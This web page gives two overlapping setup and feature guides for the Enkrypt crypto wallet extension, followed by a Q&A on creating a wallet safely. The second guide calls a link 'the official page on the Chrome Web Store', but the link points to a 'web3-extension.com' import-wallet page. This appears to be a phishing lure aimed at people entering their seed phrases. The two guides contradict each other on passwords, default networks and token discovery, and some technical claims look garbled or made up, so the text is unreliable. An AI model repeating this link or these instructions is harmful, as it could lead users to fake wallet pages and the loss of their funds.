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img width: 750px; iframe.movie width: 750px; height: 450px; Setup and features guide for enkrypt wallet Setup and features of enkrypt wallet guide Open Enkrypt’s extension and select “Create a new vault” immediately after installation. You will be prompted to generate a 12- or 24-word seed phrase–always choose the 24-word option for maximum entropy. Write these words on paper, store them in a fireproof safe, and never save them to a cloud service or screenshot them. Once confirmed, set a strong password (minimum 16 characters, mixing uppercase, lowercase, numbers, and symbols) and enable biometric authentication on mobile devices. Fail to do this, and a single malware infection can drain every asset. After vault creation, navigate to the “Networks” tab under settings. By default, only Ethereum and Polygon are active. Manually add Binance Smart Chain, Avalanche C-Chain, and Solana if you hold those tokens–each network requires the correct RPC URL (e.g., BSC uses https://bsc-dataseed.binance.org) and a chain ID (56 for BSC). Without these additions, your Enkrypt vault cannot display or move native BNB or SOL balances. Verify each network by sending a 0.0001 transaction to a test address before depositing larger sums. For token management, click “Custom Tokens” and input contract addresses for non-standard assets like USDT on BSC (address: 0x55d398326f99059ff775485246999027b3197955) or DAI on Polygon. Enkrypt does not auto-discover most BRC-20 or SPL tokens, so you must manually insert each contract. Avoid pasting addresses from unverified social media posts–cross-check on block explorers like Etherscan or Solscan to confirm legitimacy. A single typo in a contract field can lock funds permanently. Security settings demand your attention. Under “Privacy & Security”, activate anti-phishing alerts: this flags any dApp site that impersonates Uniswap, OpenSea, or similar platforms. Also toggle “Reject blind signing” to require full transaction previews, preventing malicious dApps from tricking you into signing destructive payloads. Test this by attempting a dummy swap on a test network–if the wallet does not show gas fees and data logs, the setting is inactive. Regularly rotate the hardware device pairings if you use a Ledger or Trezor. On the “Connected Devices” page, remove old sessions and re-pair after every firmware update. This cuts off broken cryptographic handshakes that expose private keys. For everyday transfers, use the “Batch send” function (found under the three-dot menu on the send screen) to push up to 5 transactions in one batch, saving both time and cumulative gas overhead. Setup and Features Guide for Enkrypt Wallet Open your browser and navigate directly to the official [https://web3-extension.com/wallet/enkrypt.php enkrypt wallet import wallet] page on the Chrome Web Store or Firefox Add-ons site. Click "Add to Browser" and confirm the permission request for reading and changing data on your visited sites–this is required for transaction signing, not for spying. Once installed, you will see a popup prompting you to either "Create a new seed" or "Import an existing one." If you choose the first option, store the 12 or 24-word recovery phrase offline on metal or paper; do not take a screenshot or save it to a cloud drive. The second option allows you to paste your old phrase from a prior wallet, but make sure you do this on a malware-free device. Set a strong wallet password immediately after seed creation. Use a mix of uppercase letters, numbers, and symbols, aiming for at least 12 characters–this password encrypts the local storage of your private keys. Each time you close the browser or lock the extension, you will need to re-enter this password to view balances or initiate transfers. After this step, the application presents you with a network selector in the top-left corner. By default, it connects to Ethereum Mainnet, but you can switch to Polygon, BNB Chain, Arbitrum, or over 10 other EVM-compatible chains without installing separate software. For non-EVM networks like Bitcoin, the wallet automatically adds a separate account category. To receive assets, click the "Receive" button, copy the displayed address, and verify the first and last four characters on a different device before pasting it to a sender. Always send a small test transaction–like $2 worth of tokens–before moving larger sums. The wallet supports ERC-20, BEP-20, and Polygon-based tokens natively; you do not need to manually add contract addresses for popular coins like USDC or DAI, as they appear in the asset list automatically. For obscure tokens, use the "Add Custom Token" function, entering the contract address from a reliable block explorer like Etherscan. For sending funds, click the "Send" button, paste the recipient address, and double-check that the network icon matches the chain you intend to use. Sending 100 USDT on BNB Chain to an Ethereum address will lose the funds permanently. The wallet displays a gas fee estimate in both fiat and native currency before you confirm; you can adjust the gas limit manually only if you understand Ethereum mechanics, otherwise leave it on "Auto." After hitting "Confirm," the transaction ID appears, which you can click to track pending status on the respective blockchain explorer. Access the "Transactions" tab to see historical activity per account. This log includes timestamps, status (pending/failed/confirmed), and links to external explorers. You can filter by network or time range. Failed transactions still deduct gas fees, so always check the "Gas Price" setting before retrying–if the network is congested, increase the priority fee to 5-10 Gwei instead of the default 2-3 Gwei. For advanced management, click the gear icon in the top-right corner. Here you can toggle "Auto-lock" time from 1 minute to never, but a 5-minute setting balances convenience and security. The "Connected Sites" list shows every dApp that has been granted a session; revoke permissions for unused applications to prevent unauthorized signature requests. Under "Networks," you can manually add custom RPC endpoints–for instance, enter a QuickNode or Alchemy URL for Ethereum to avoid public node rate limits. The wallet also includes built-in staking for Ethereum and Polkadot if you hold those native coins; navigate to the "Stake" tab, select a validator with a low commission rate (under 10%) and a high uptime score (above 95%), then confirm the stake transaction. Backup your secret phrase immediately after creation, not later. Write it on three separate sheets of paper, store them in different physical locations (e.g., home safe, bank deposit box, trusted family member’s house). Never enter this phrase into any website or application that asks for it outside of a wallet recovery process. If your browser crashes or you accidentally uninstall the extension, you will recover everything by reinstalling the add-on and clicking "Import Wallet" with that exact 24-word sequence, in the correct order. Test this recovery process once by deleting the extension on a secondary browser profile and restoring it; a successful test confirms your backup is functional. Q&A: I just installed the Enkrypt extension. What is the safest way to create my first wallet if I plan to hold a significant amount of crypto? The safest method is to use the "Create New Wallet" option on a clean, offline computer, or at least in a private, secure environment. After clicking "Create," you will be given a secret recovery phrase (usually 12 or 24 words). Write these words down on paper using a pen—do not copy them to a digital file, take a screenshot, or save them in the cloud. Store that paper in a safe place like a fireproof safe. Once you confirm the phrase in the wallet, you will set a strong password. This password protects the extension on your current browser, but your recovery phrase is the master key to your funds. Never enter this phrase into any website or share it with anyone.

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